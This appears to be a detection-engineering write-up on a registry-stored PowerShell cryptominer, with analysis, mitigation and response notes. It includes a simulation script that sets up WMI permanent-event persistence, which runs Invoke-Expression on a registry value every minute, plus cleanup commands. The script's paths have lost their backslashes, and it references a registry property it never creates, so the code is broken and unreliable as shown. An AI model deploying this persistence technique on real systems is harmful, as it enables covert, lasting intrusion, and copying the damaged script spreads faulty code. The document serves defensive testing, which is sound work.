Registry-Stored PowerShell Launches In-Memory Cryptocurrency Mining

Summary

A multi-stage infection chain uses sophisticated obfuscation techniques to deploy a cryptocurrency miner. The attack stores payloads in the Registry and leverages DNS TXT records alongside steganography in PNG and WAV files to deliver subsequent stages. The final payload loads a .NET assembly directly into memory to perform cryptocurrency mining through the XMRig ecosystem.

Investigation

Analysts investigated repeated PowerShell execution alerts and uncovered a layered payload concealment strategy. The infection chain reconstructs malicious content from unconventional containers, including image pixel data and audio file nibbles. Execution progresses from Registry-stored PowerShell scripts through multiple stages before ultimately loading a .NET cryptocurrency miner directly into memory.

Mitigation

Organizations should enforce strict PowerShell execution policies and monitor suspicious Registry modifications associated with payload storage. EDR solutions should detect in-memory .NET assembly loading and anomalous DNS TXT record queries. Application allowlisting should also be implemented to prevent unauthorized kernel-mode drivers such as WinRing0.sys from loading.

Response

If malicious activity is detected, affected hosts should be isolated immediately to stop further C2 communication and cryptocurrency mining. Responders should perform a forensic sweep for unauthorized Scheduled Tasks, WMI subscriptions, and Microsoft Defender exclusions. Network logs should also be reviewed for connections to known C2 domains and suspicious DNS-over-HTTPS queries.

Simulation Execution

• Attack Narrative & Commands: The adversary seeks to establish long-term persistence on the compromised host. Instead of using a common ‘Run’ key, they opt for a more stealthy WMI Permanent Event Subscription. The attacker creates a WMI CommandLineEventConsumer. This consumer is configured to execute powershell.exe. To evade static analysis of the command line, the actual malicious payload or configuration is stored in a non-standard registry path: HKLM:Softwareuf42a9660377vstdfehzr. When the WMI event triggers (simulated here by a system event), the PowerShell process will launch, referencing the specific registry key, thereby triggering the detection rule.

• Regression Test Script:

  # Simulation Script: WMI Registry-Based PowerShell Execution
  # This script creates the specific registry key and WMI subscription required to trigger the rule.
  
  $regPath = "HKLM:Softwareuf42a9660377"
  $regValueName = "vstdfehzr"
  $regValueData = "Invoke-Expression (Get-ItemProperty -Path '$regPath$regValueName').Payload"
  
  # 1. Create the suspicious registry key and value
  if (-not (Test-Path $regPath)) {
      New-Item -Path $regPath -Force | Out-Null
  }
  New-ItemProperty -Path $regPath -Name $regValueName -Value "Write-Host 'Malicious Payload Triggered!'" -PropertyType String -Force | Out-Null
  
  # 2. Create WMI Permanent Event Subscription
  # We use a Filter to trigger on a common event (e.g., system uptime/startup) or simulate via consumer creation
  $filterName = "Win32_LocalTimeFilter"
  $consumerName = "Win32_CommandLineConsumer"
  $subscriptionName = "WmiPersistenceSubscription"
  
  # Create Filter (Triggers every minute for simulation purposes)
  $filterArgs = @{
      Name = $filterName
      QueryLanguage = "WQL"
      Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"
  }
  $filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs
  
  # Create Consumer (The PowerShell command referencing the specific registry path)
  $commandLine = "powershell.exe -Command `"$regValueData`""
  $consumerArgs = @{
      Name = $consumerName
      CommandLineTemplate = $commandLine
  }
  $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $consumerArgs
  
  # Bind Filter and Consumer
  Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{
      Filter = $filter
      Consumer = $consumer
  }
  
  Write-Host "[+] Simulation: WMI Subscription and Registry Key created successfully."
  Write-Host "[+] Waiting for WMI event to trigger PowerShell execution..."
  # Note: In a real environment, we wait for the event. 
  # For testing purposes, the rule is often looking for the *creation* or the *event trigger*.

• Cleanup Commands:

  # Cleanup Script
  Write-Host "[!] Cleaning up simulation artifacts..."
  
  # 1. Remove WMI Subscription
  Get-WmiObject -Namespace rootsubscription -Class __EventFilter -Filter "Name='Win32_LocalTimeFilter'" | Remove-WmiObject
  Get-WmiObject -Namespace rootsubscription -Class CommandLineEventConsumer -Filter "Name='Win32_CommandLineConsumer'" | Remove-WmiObject
  Get-WmiObject -Namespace rootsubscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -match "Win32_LocalTimeFilter" } | Remove-WmiObject
  
  # 2. Remove Registry Key
  Remove-Item -Path "HKLM:Softwareuf42a9660377" -Recurse -Force
  
  Write-Host "[+] Cleanup complete."